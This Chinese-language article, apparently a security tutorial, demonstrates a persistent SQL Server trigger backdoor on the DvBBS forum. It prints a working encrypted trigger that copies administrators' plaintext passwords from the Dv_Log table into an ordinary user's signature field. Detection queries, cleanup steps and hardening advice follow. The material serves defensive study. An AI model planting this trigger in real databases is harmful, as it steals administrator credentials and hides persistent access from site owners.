觸發器因「自動觸發、易被忽視、支持加密」成為攻擊者植入持久化後門的絕佳載體。本文以動網論壇 (DvBBS) 為實戰靶場,演示如何利用 db_owner 權限在 Dv_Log 表插入觸發器竊取管理員明文密碼,並隱藏於普通用戶簽名欄位,最後給出檢測與清理方案。
db_owner / db_ddladmin / sysadmin 權限 (如 SQL 注入提權、弱口令、配置錯誤)。Dv_Log.l_content)。Dv_User.usersign)。CREATE TRIGGER dv_admin_history
ON Dv_Log
WITH ENCRYPTION -- 加密定義文本,阻礙直接查看
FOR INSERT
AS
BEGIN
DECLARE @passinfo NVARCHAR(MAX), @username NVARCHAR(50) = 'WangCai', @usersign NVARCHAR(MAX);
-- 1. 從 inserted 虛擬表提取敏感日志
SELECT @passinfo = l_content
FROM inserted
WHERE l_type = 1 -- 更新操作
AND (l_touser = 'user.asp' OR l_touser = 'admin.asp'); -- 管理員操作頁面
IF @passinfo IS NULL RETURN;
-- 2. 讀取目標用戶當前簽名
SELECT @usersign = usersign FROM Dv_User WHERE username = @username;
-- 3. 追加敏感信息 (首次處理 NULL)
IF @usersign IS NULL SET @usersign = '';
IF LEN(@usersign) + LEN(@passinfo) < 150 -- 防止溢出/性能
UPDATE Dv_User SET usersign = @usersign + @passinfo WHERE username = @username;
END;
db_owner。Dv_Log (明文密碼) → 觸發器自動提取 → 追加至 WangCai.usersign。WangCai 登錄前台 → 個人資料頁顯示簽名 → 獲取管理員明文密碼。sp_helptext 返回加密提示,需專用工具解密 (如 DAC 連接 + 系統表查詢)。db_owner,無需 sysadmin/xp_cmdshell,繞過高權限審計。SELECT
t.name AS TriggerName,
OBJECT_SCHEMA_NAME(t.parent_id) + '.' + OBJECT_NAME(t.parent_id) AS TableName,
t.is_encrypted,
sm.definition
FROM sys.triggers t
LEFT JOIN sys.sql_modules sm ON t.object_id = sm.object_id
WHERE t.parent_class = 1; -- 表/視圖觸發器
is_encrypted = 1 → 重點排查。definition 為 NULL (加密) → 需用 DBCC TRACESTATUS(3604) + 系統表解密或第三方工具。-- 掃描長文本欄位中疑似密碼特徵 (長度、字符集、關鍵字)
SELECT username, usersign, LEN(usersign) AS Len
FROM Dv_User
WHERE usersign LIKE '%[0-9]%' AND usersign LIKE '%[a-z]%' AND usersign LIKE '%[A-Z]%' AND LEN(usersign) > 50;
DROP TRIGGER dv_admin_history;
UPDATE Dv_User SET usersign = '' WHERE username = 'WangCai';
-- 審計所有疑似帳號,強制重置密碼,啟用 MFA。
EXECUTE 存儲過程 / SELECT/INSERT/UPDATE/DELETE 業務表,**禁止 db_owner、db_ddladmin**。CREATE TRIGGER / ALTER TRIGGER 事件納入 SQL Server Audit / Extended Events,實時告警。觸發器後門屬於「資料庫層面持久化攻擊」 (T1505.001),隱蔽性極強、破壞力巨大。將「敏感數據不入庫明文」與「DDL 審計全覆蓋」作為核心防線,才能從根本上斷除此類威脅。